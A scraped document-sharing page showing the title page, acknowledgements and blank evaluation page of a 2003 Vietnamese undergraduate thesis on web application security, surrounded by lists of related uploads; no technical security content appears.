Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
Dịch vụ viết thuê Khóa Luận - ZALO 0932091562
 
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
Trung Hiếu Trần
 

What's hot (18)

tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mật
 
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
Phát triển thuật toán tự triển khai cho hệ thống đa robot giám sát môi trường...
 
Tổng quan về nước tương lên men
Tổng quan về nước tương lên menTổng quan về nước tương lên men
Tổng quan về nước tương lên men
 
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
Nghiên cứu thiết kế bộ quan sát và điều khiển nhiệt độ trong phôi theo mô hìn...
 
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
ĐIều khiển tốc độ động cơ không đồng bộ 3 pha dùng bộ điều khiển pid mờ lai​
 
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
Nghiên cứu điều chỉnh khoảng giãn cách sản phẩm trong các băng chuyền​
 
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
Thiết kế mạch đo nhiệt độ sử dụng board arduino, hiển thị trên 4 led 7 thanh ...
 
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiềuNhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
Nhận dạng tham số trong hệ thống điều khiển số tốc độ động cơ một chiều
 
Bài giảng kiến trúc máy tính
Bài giảng kiến trúc máy tínhBài giảng kiến trúc máy tính
Bài giảng kiến trúc máy tính
 
Its
ItsIts
Its
 
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
Nghiên cứu phương pháp tổng hợp cảm biến dùng cho kỹ thuật dẫn đường các robo...
 
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
Thiết kế bộ điều khiển pid thích nghi nhờ suy luận mờ và ứng dụng cho hệ truy...
 
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
Đồ án tốt nghiệp điện tử Nghiên cứu mạng IPWDM điểm cao - sdt/ ZALO 093 189 2701
 
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
Nghiên cứu giải pháp nâng cao chất lượng đào tạo và phát triển nguồn nhân lực...
 
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lanNghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
Nghiên cứu và hướng dẫn sử dụng bộ công cụ quét lỗ hổng hệ thống trong mạng lan
 
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lướiĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
ĐIều khiển công suất của hệ thống tích hợp các nguồn năng lượng tái tạo nối lưới
 
Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
Luận văn: Đề xuất một số giải pháp xây dựng các hoạt động kiểm soát trong môi...
 
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
[Thực tập][GameLoft] Lập trình game đa nền tảng trên di động
 

Viewers also liked

W I S P Assignment 2 Germany
W I S P  Assignment 2 GermanyW I S P  Assignment 2 Germany
W I S P Assignment 2 Germany
yansheng
 
Ukrainian web sites ranking july 2012
Ukrainian web sites ranking july 2012Ukrainian web sites ranking july 2012
Ukrainian web sites ranking july 2012Watcher
 
Centro Comercial UNICENTRO
Centro Comercial UNICENTROCentro Comercial UNICENTRO
Centro Comercial UNICENTRO
wilmar
 
Miche fall 2014 catalog
Miche fall 2014 catalogMiche fall 2014 catalog
Miche fall 2014 catalog
Teresa Ware
 
TechFuse 2012: Rich Coexistence
TechFuse 2012: Rich CoexistenceTechFuse 2012: Rich Coexistence
TechFuse 2012: Rich Coexistence
Avtex
 
2010 Bonnie Plants Trial Garden
2010 Bonnie Plants Trial Garden2010 Bonnie Plants Trial Garden
2010 Bonnie Plants Trial Garden
BonniePlants
 
Reframing
ReframingReframing
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상혜원 정
 
Fivb development vcp_regulations_2011
Fivb development vcp_regulations_2011Fivb development vcp_regulations_2011
Fivb development vcp_regulations_2011
zoelni Hilnanda
 
Web quest del zoo
Web quest del zooWeb quest del zoo
Web quest del zoo
Jimena Bolaño
 
Presentation socpostsru
Presentation socpostsruPresentation socpostsru
Presentation socpostsru
VadimSergeevich
 
Заработок в одноклассниках
Заработок в одноклассникахЗаработок в одноклассниках
Заработок в одноклассниках
Roman Kreidich
 
WSEAS2011
WSEAS2011WSEAS2011
WSEAS2011
Masoud Y. Zadeh
 
Toxicos en alimentos.
Toxicos en alimentos.Toxicos en alimentos.
Toxicos en alimentos.
Jhon Rogel
 
презентация издательства (1)
презентация издательства (1)презентация издательства (1)
презентация издательства (1)Cyril Savitsky
 
эти загадочные знаки препинания
эти  загадочные знаки препинанияэти  загадочные знаки препинания
эти загадочные знаки препинанияxatunakarkarashvili
 
10.0 L'era del cambiamento
10.0 L'era del cambiamento10.0 L'era del cambiamento
10.0 L'era del cambiamento
Legambiente Onlus
 
Beyrut Solidere Projesi
Beyrut Solidere ProjesiBeyrut Solidere Projesi
Beyrut Solidere Projesi
Keteninsaat
 
Яндекс.Маршруты
Яндекс.МаршрутыЯндекс.Маршруты
Яндекс.МаршрутыGulnara Khakimova
 

Viewers also liked (20)

ภาษาไทย50
ภาษาไทย50ภาษาไทย50
ภาษาไทย50
 
W I S P Assignment 2 Germany
W I S P  Assignment 2 GermanyW I S P  Assignment 2 Germany
W I S P Assignment 2 Germany
 
Ukrainian web sites ranking july 2012
Ukrainian web sites ranking july 2012Ukrainian web sites ranking july 2012
Ukrainian web sites ranking july 2012
 
Centro Comercial UNICENTRO
Centro Comercial UNICENTROCentro Comercial UNICENTRO
Centro Comercial UNICENTRO
 
Miche fall 2014 catalog
Miche fall 2014 catalogMiche fall 2014 catalog
Miche fall 2014 catalog
 
TechFuse 2012: Rich Coexistence
TechFuse 2012: Rich CoexistenceTechFuse 2012: Rich Coexistence
TechFuse 2012: Rich Coexistence
 
2010 Bonnie Plants Trial Garden
2010 Bonnie Plants Trial Garden2010 Bonnie Plants Trial Garden
2010 Bonnie Plants Trial Garden
 
Reframing
ReframingReframing
Reframing
 
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상
강재정 송현주 2011 컴퓨터 인지증지프로그램 학습능력향상
 
Fivb development vcp_regulations_2011
Fivb development vcp_regulations_2011Fivb development vcp_regulations_2011
Fivb development vcp_regulations_2011
 
Web quest del zoo
Web quest del zooWeb quest del zoo
Web quest del zoo
 
Presentation socpostsru
Presentation socpostsruPresentation socpostsru
Presentation socpostsru
 
Заработок в одноклассниках
Заработок в одноклассникахЗаработок в одноклассниках
Заработок в одноклассниках
 
WSEAS2011
WSEAS2011WSEAS2011
WSEAS2011
 
Toxicos en alimentos.
Toxicos en alimentos.Toxicos en alimentos.
Toxicos en alimentos.
 
презентация издательства (1)
презентация издательства (1)презентация издательства (1)
презентация издательства (1)
 
эти загадочные знаки препинания
эти  загадочные знаки препинанияэти  загадочные знаки препинания
эти загадочные знаки препинания
 
10.0 L'era del cambiamento
10.0 L'era del cambiamento10.0 L'era del cambiamento
10.0 L'era del cambiamento
 
Beyrut Solidere Projesi
Beyrut Solidere ProjesiBeyrut Solidere Projesi
Beyrut Solidere Projesi
 
Яндекс.Маршруты
Яндекс.МаршрутыЯндекс.Маршруты
Яндекс.Маршруты
 

Similar to Bao mat ung_dung_web

Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOTGiải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
Dịch vụ viết bài trọn gói ZALO: 0909232620
 
Bai bc ban thao
Bai bc ban thaoBai bc ban thao
Bai bc ban thao
Mai Nhung
 
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốc
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốcĐồ án Đếm số lượng viên thuốc có trong vỉ thuốc
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốc
Daren Harvey
 
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
Dịch vụ viết bài trọn gói ZALO: 0936 885 877
 
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
DV Viết Luận văn luanvanmaster.com ZALO 0973287149
 
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
Dịch Vụ Viết Thuê Khóa Luận Zalo/Telegram 0917193864
 
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
Dịch vụ viết bài trọn gói ZALO: 0909232620
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athena
Trung Đào
 
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
Dịch vụ viết thuê đề tài trọn gói ☎☎☎ Liên hệ ZALO/TELE: 0973.287.149 👍👍
 
Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTIT
NguynMinh294
 
Baigiang access ttth
Baigiang access ttthBaigiang access ttth
Baigiang access ttth
lam04dt
 
Báo cáo thực tập công nghệ thông tin.
Báo cáo thực tập công nghệ thông tin.Báo cáo thực tập công nghệ thông tin.
Báo cáo thực tập công nghệ thông tin.
ssuser499fca
 
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnhKỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
Dịch vụ viết bài trọn gói ZALO: 0909232620
 
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đĐề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
Dịch Vụ Viết Bài Trọn Gói ZALO 0917193864
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpMinh Dương
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpMinh Dương
 
Marketing trực tiếp vào việc ứng dụng vào Việt Nam
Marketing trực tiếp vào việc ứng dụng vào Việt NamMarketing trực tiếp vào việc ứng dụng vào Việt Nam
Marketing trực tiếp vào việc ứng dụng vào Việt Nam
Dịch vụ Làm Luận Văn 0936885877
 
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng rất hay
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng  rất hayChuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng  rất hay
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng rất hay
Dịch Vụ Viết Bài Trọn Gói ZALO 0917193864
 
Web hox thi_toeft
Web hox thi_toeftWeb hox thi_toeft
Web hox thi_toeftViet Nam
 

Similar to Bao mat ung_dung_web (20)

Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOTGiải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
Giải pháp phòng ngừa xâm nhập trên mạng xã hội trực tuyến, HOT
 
Bai bc ban thao
Bai bc ban thaoBai bc ban thao
Bai bc ban thao
 
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốc
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốcĐồ án Đếm số lượng viên thuốc có trong vỉ thuốc
Đồ án Đếm số lượng viên thuốc có trong vỉ thuốc
 
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
Luận Văn Nghiên Cứu Những Yếu Tố Ảnh Hưởng Đến Quyết Định Sử Dụng Internet Ba...
 
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
Các Mô Hình Học Sâu Tiên Tiến Và Ứng Dụng Trong Phân Tích Chuỗi Thời Gian Lâm...
 
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
Luận án: Nghiên cứu hệ thống thông tin chuyển tiếp sử dụng đa truy nhập không...
 
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
Hệ thống thông tin kế toán tiền lương tại công ty TAFCO Hà Nội, 9đ - Gửi miễn...
 
Bao cao thuc tap athena
Bao cao thuc tap athenaBao cao thuc tap athena
Bao cao thuc tap athena
 
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
Các mô hình học sâu tiên tiến và ứng dụng trong phân tích chuỗi thời gian lâm...
 
Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTIT
 
Baigiang access ttth
Baigiang access ttthBaigiang access ttth
Baigiang access ttth
 
Báo cáo thực tập công nghệ thông tin.
Báo cáo thực tập công nghệ thông tin.Báo cáo thực tập công nghệ thông tin.
Báo cáo thực tập công nghệ thông tin.
 
19134
1913419134
19134
 
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnhKỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
Kỹ thuật giấu tin dựa trên sự tương quan của miền không gian ảnh
 
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đĐề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
Đề tài: Xây dựng cơ sở dữ liệu địa chính trong quản lý đất đai, 9đ
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệp
 
Báo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệpBáo cáo đề tài thực tập tốt nghiệp
Báo cáo đề tài thực tập tốt nghiệp
 
Marketing trực tiếp vào việc ứng dụng vào Việt Nam
Marketing trực tiếp vào việc ứng dụng vào Việt NamMarketing trực tiếp vào việc ứng dụng vào Việt Nam
Marketing trực tiếp vào việc ứng dụng vào Việt Nam
 
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng rất hay
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng  rất hayChuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng  rất hay
Chuyên đề Xây dựng hệ thống thông tin lập đơn đặt hàng rất hay
 
Web hox thi_toeft
Web hox thi_toeftWeb hox thi_toeft
Web hox thi_toeft
 

More from Duy Vọng

Dia+ly+co+so
Dia+ly+co+so  Dia+ly+co+so
Dia+ly+co+so
Duy Vọng
 
Cnsh thay tam
Cnsh thay tamCnsh thay tam
Cnsh thay tam
Duy Vọng
 
Cn sinh hoc_dai_cuong_es30z
Cn sinh hoc_dai_cuong_es30zCn sinh hoc_dai_cuong_es30z
Cn sinh hoc_dai_cuong_es30z
Duy Vọng
 
C05143 tech and app - cnsh
C05143 tech and app - cnshC05143 tech and app - cnsh
C05143 tech and app - cnsh
Duy Vọng
 
2010 khoa cnsh
2010 khoa cnsh2010 khoa cnsh
2010 khoa cnsh
Duy Vọng
 
3 l1q08ssfkcnsh bvtv
3 l1q08ssfkcnsh bvtv3 l1q08ssfkcnsh bvtv
3 l1q08ssfkcnsh bvtv
Duy Vọng
 
Bg quan tri chat luong
Bg quan tri chat luongBg quan tri chat luong
Bg quan tri chat luong
Duy Vọng
 
He thong phan loai dnnvn
He thong phan loai dnnvnHe thong phan loai dnnvn
He thong phan loai dnnvn
Duy Vọng
 
File goc 771908
File goc 771908File goc 771908
File goc 771908
Duy Vọng
 
Erca fg 20130730_p1-18
Erca fg 20130730_p1-18Erca fg 20130730_p1-18
Erca fg 20130730_p1-18
Duy Vọng
 
Dung sai kỹ thuật đo lường
Dung sai   kỹ thuật đo lườngDung sai   kỹ thuật đo lường
Dung sai kỹ thuật đo lường
Duy Vọng
 
Dm -chapter_4_-_classification
Dm  -chapter_4_-_classificationDm  -chapter_4_-_classification
Dm -chapter_4_-_classification
Duy Vọng
 
Co xuong khop
Co xuong khopCo xuong khop
Co xuong khop
Duy Vọng
 
Chuong 12 khai quat ve phan loai dong vat
Chuong 12  khai quat ve phan loai dong vatChuong 12  khai quat ve phan loai dong vat
Chuong 12 khai quat ve phan loai dong vat
Duy Vọng
 
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
Duy Vọng
 
Cau truc may tinh
Cau truc may tinhCau truc may tinh
Cau truc may tinh
Duy Vọng
 
Cau tao bao duong oto
Cau tao   bao duong otoCau tao   bao duong oto
Cau tao bao duong oto
Duy Vọng
 
Bxd 10 2013-tt-bxd-25072013_pl1
Bxd 10 2013-tt-bxd-25072013_pl1Bxd 10 2013-tt-bxd-25072013_pl1
Bxd 10 2013-tt-bxd-25072013_pl1
Duy Vọng
 
Bang phan loai cac nganh dich vu wto
Bang phan loai cac nganh dich vu wtoBang phan loai cac nganh dich vu wto
Bang phan loai cac nganh dich vu wto
Duy Vọng
 
A35 afluf agl_09_phanloailinhvuc
A35 afluf agl_09_phanloailinhvucA35 afluf agl_09_phanloailinhvuc
A35 afluf agl_09_phanloailinhvuc
Duy Vọng
 

More from Duy Vọng (20)

Dia+ly+co+so
Dia+ly+co+so  Dia+ly+co+so
Dia+ly+co+so
 
Cnsh thay tam
Cnsh thay tamCnsh thay tam
Cnsh thay tam
 
Cn sinh hoc_dai_cuong_es30z
Cn sinh hoc_dai_cuong_es30zCn sinh hoc_dai_cuong_es30z
Cn sinh hoc_dai_cuong_es30z
 
C05143 tech and app - cnsh
C05143 tech and app - cnshC05143 tech and app - cnsh
C05143 tech and app - cnsh
 
2010 khoa cnsh
2010 khoa cnsh2010 khoa cnsh
2010 khoa cnsh
 
3 l1q08ssfkcnsh bvtv
3 l1q08ssfkcnsh bvtv3 l1q08ssfkcnsh bvtv
3 l1q08ssfkcnsh bvtv
 
Bg quan tri chat luong
Bg quan tri chat luongBg quan tri chat luong
Bg quan tri chat luong
 
He thong phan loai dnnvn
He thong phan loai dnnvnHe thong phan loai dnnvn
He thong phan loai dnnvn
 
File goc 771908
File goc 771908File goc 771908
File goc 771908
 
Erca fg 20130730_p1-18
Erca fg 20130730_p1-18Erca fg 20130730_p1-18
Erca fg 20130730_p1-18
 
Dung sai kỹ thuật đo lường
Dung sai   kỹ thuật đo lườngDung sai   kỹ thuật đo lường
Dung sai kỹ thuật đo lường
 
Dm -chapter_4_-_classification
Dm  -chapter_4_-_classificationDm  -chapter_4_-_classification
Dm -chapter_4_-_classification
 
Co xuong khop
Co xuong khopCo xuong khop
Co xuong khop
 
Chuong 12 khai quat ve phan loai dong vat
Chuong 12  khai quat ve phan loai dong vatChuong 12  khai quat ve phan loai dong vat
Chuong 12 khai quat ve phan loai dong vat
 
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
Chiến lược toàn cầu trong chẩn đoán, quản lý và dự phòng bệnh phổi tắc nghẽn ...
 
Cau truc may tinh
Cau truc may tinhCau truc may tinh
Cau truc may tinh
 
Cau tao bao duong oto
Cau tao   bao duong otoCau tao   bao duong oto
Cau tao bao duong oto
 
Bxd 10 2013-tt-bxd-25072013_pl1
Bxd 10 2013-tt-bxd-25072013_pl1Bxd 10 2013-tt-bxd-25072013_pl1
Bxd 10 2013-tt-bxd-25072013_pl1
 
Bang phan loai cac nganh dich vu wto
Bang phan loai cac nganh dich vu wtoBang phan loai cac nganh dich vu wto
Bang phan loai cac nganh dich vu wto
 
A35 afluf agl_09_phanloailinhvuc
A35 afluf agl_09_phanloailinhvucA35 afluf agl_09_phanloailinhvuc
A35 afluf agl_09_phanloailinhvuc
 

Bao mat ung_dung_web

  • 1. Khoa CNTT BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM KHOA CÔNG NGHỆ THÔNG TIN BỘ MÔN MẠNG MÁY TÍNH LUẬN VĂN TỐT NGHIỆP ĐỀ TÀI: NGHIÊN CỨU MỘT SỐ VẤN ĐỀ VỀ BẢO MẬT ỨNG DỤNG WEB TRÊN INTERNET GVHD: Th.S. MAI VĂN CƯỜNG SVTH : NGUYỄN DUY THĂNG - 9912074 NGUYỄN MINH THU - 9912156 KHÓA HỌC: 1999-2003
  • 2. Khoa CNTT Lời cảm ơn Sau gần 6 tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật tấn công và bảo mật ứng dụng Web trên Internet” đã phần nào hoàn thành. Ngoài sự cố gắng hết mình của bản thân, chúng em đã nhận được sự khích lệ rất nhiều từ phía nhà trường, thầy cô, gia đình và bạn bè. Trước hết chúng con xin cám ơn ba mẹ đã luôn động viên và tạo mọi điều kiện tốt để chúng con học tập và hoàn thành luận văn tốt nghiệp này. Chúng em xin cám ơn thầy cô trường Đại Học Khoa Học Tự Nhiên đã truyền đạt những kiến thức quý báu cho chúng em trong suốt quá trình học tập. Đặc biệt, chúng em xin bày tỏ lòng chân thành sâu sắc đến thầy Mai Văn Cường, người đã tận tình hướng dẫn và giúp đỡ chúng em trong quá trình làm luận văn tốt nghiệp. Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ chúng tôi trong quá trình học tập và hoàn thành tốt luận văn tốt nghiệp này.
  • 3. Khoa CNTT Lời nhận xét …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… …………………………………………………………………………………………… ……………………………………………………………………………………………
